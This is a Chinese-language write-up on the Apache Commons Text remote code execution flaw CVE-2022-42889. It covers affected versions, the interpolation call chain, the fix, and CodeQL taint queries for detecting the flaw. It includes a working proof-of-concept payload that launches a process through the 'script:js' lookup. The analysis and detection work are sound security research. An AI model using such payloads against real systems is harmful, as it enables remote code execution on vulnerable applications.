CVE-2022-42889 Apache Commons Text RCE 漏洞分析与 CodeQL
字数 1050 2025-08-18 17:33:44

Apache Commons Text RCE漏洞(CVE-2022-42889)分析与CodeQL实践

0x01 漏洞概述

漏洞描述:
Apache Commons Text组件在执行变量插值(variable interpolation)时存在远程代码执行漏洞。该组件允许动态评估和扩展属性,标准格式为${prefix:name},其中"prefix"用于查找执行插值的StringLookup实例。在1.5到1.9版本中,默认的Lookup实例集包含可能导致任意代码执行或与远程服务器交互的插值器。

影响版本: 1.5 <= Apache Commons Text <= 1.9

0x02 环境搭建

在Maven项目中添加依赖:

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-text</artifactId>
    <version>1.9</version>
</dependency>

0x03 漏洞复现

基本使用示例

final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
final String text = interpolator.replace(
    "Base64 Decoder: ${base64Decoder:SGVsbG9Xb3JsZCE=}\n" +
    "Base64 Encoder: ${base64Encoder:HelloWorld!}\n" +
    // 其他插值示例...
);

漏洞利用PoC

import org.apache.commons.text.StringSubstitutor;

public class EXP {
    public static void main(String[] args) {
        StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
        String payload = "${script:js:new java.lang.ProcessBuilder(\"calc\").start()}";
        interpolator.replace(payload);
    }
}

0x04 漏洞分析

关键调用链

  1. StringSubstitutor.createInterpolator()创建字符串替换器
  2. replace()方法调用substitute()方法
  3. 最终调用到org.apache.commons.text.StringSubstitutor#substitute
  4. 解析变量名后调用resolveVariable()
  5. 最终到达org.apache.commons.text.lookup.ScriptStringLookup#lookup

关键点

  • 处理payload时对:前后内容进行Split操作
  • JavaScript引擎被实例化并执行恶意代码
  • 通过scriptEngine.eval()执行任意JavaScript代码

0x05 漏洞修复

在1.11.0版本中移除了不安全的插值器:

  • script
  • dns
  • url

0x06 CodeQL实践

数据库构建注意事项

错误方式:

codeql database create DB_DIR --language=java --command='mvn clean install'

正确方式:

  1. 提取所有相关包(包括JDK和漏洞包)
  2. 反编译这些包
  3. 使用extract-java构造CodeQL数据库

CodeQL查询

Sink点定义

class ScriptEngineEval extends DataFlow::Node {
    ScriptEngineEval() {
        exists(MethodAccess ma | 
            ma.getCallee().hasName("eval") and
            ma.getCallee().getDeclaringType().getASupertype*()
                .hasQualifiedName("javax.script", "ScriptEngine") and
            this.asExpr() = ma.getArgument(0)
        )
    }
}

Source点定义

class PublicMethodParameter extends DataFlow::Node {
    PublicMethodParameter() {
        exists(Method m, Parameter p | 
            m.getDeclaringType().isPublic() and
            m.isPublic() and
            p = m.getAParameter() and
            p.getType().hasName("String") and
            this.asParameter() = p
        )
    }
}

完整查询

/**
 * @kind path-problem
 */
import java
import semmle.code.java.dataflow.DataFlow
import DataFlow::PathGraph 
import semmle.code.java.dataflow.TaintTracking

class Config extends TaintTracking::Configuration {
    Config() { this = "config" }
    
    override predicate isSource(DataFlow::Node source) {
        source instanceof PublicMethodParameter
    }
    
    override predicate isSink(DataFlow::Node sink) {
        sink instanceof ScriptEngineEval
    }
}

from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "path"

0x07 总结

  1. 该漏洞源于Apache Commons Text组件中不安全的插值器实现
  2. 通过script:前缀可以执行任意JavaScript代码
  3. 使用CodeQL可以有效识别此类漏洞,但需要注意数据库构建方式
  4. 修复方案是移除危险的插值器前缀

参考链接

  • https://l3yx.github.io/2022/12/17/用CodeQL分析漏洞-CVE-2022-42889/
Apache Commons Text RCE漏洞(CVE-2022-42889)分析与CodeQL实践 0x01 漏洞概述 漏洞描述 : Apache Commons Text组件在执行变量插值(variable interpolation)时存在远程代码执行漏洞。该组件允许动态评估和扩展属性,标准格式为 ${prefix:name} ,其中"prefix"用于查找执行插值的 StringLookup 实例。在1.5到1.9版本中,默认的Lookup实例集包含可能导致任意代码执行或与远程服务器交互的插值器。 影响版本 : 1.5 <= Apache Commons Text <= 1.9 0x02 环境搭建 在Maven项目中添加依赖: 0x03 漏洞复现 基本使用示例 漏洞利用PoC 0x04 漏洞分析 关键调用链 StringSubstitutor.createInterpolator() 创建字符串替换器 replace() 方法调用 substitute() 方法 最终调用到 org.apache.commons.text.StringSubstitutor#substitute 解析变量名后调用 resolveVariable() 最终到达 org.apache.commons.text.lookup.ScriptStringLookup#lookup 关键点 处理payload时对 : 前后内容进行Split操作 JavaScript引擎被实例化并执行恶意代码 通过 scriptEngine.eval() 执行任意JavaScript代码 0x05 漏洞修复 在1.11.0版本中移除了不安全的插值器: script dns url 0x06 CodeQL实践 数据库构建注意事项 错误方式: 正确方式: 提取所有相关包(包括JDK和漏洞包) 反编译这些包 使用 extract-java 构造CodeQL数据库 CodeQL查询 Sink点定义 Source点定义 完整查询 0x07 总结 该漏洞源于Apache Commons Text组件中不安全的插值器实现 通过 script: 前缀可以执行任意JavaScript代码 使用CodeQL可以有效识别此类漏洞,但需要注意数据库构建方式 修复方案是移除危险的插值器前缀 参考链接 https://l3yx.github.io/2022/12/17/用CodeQL分析漏洞-CVE-2022-42889/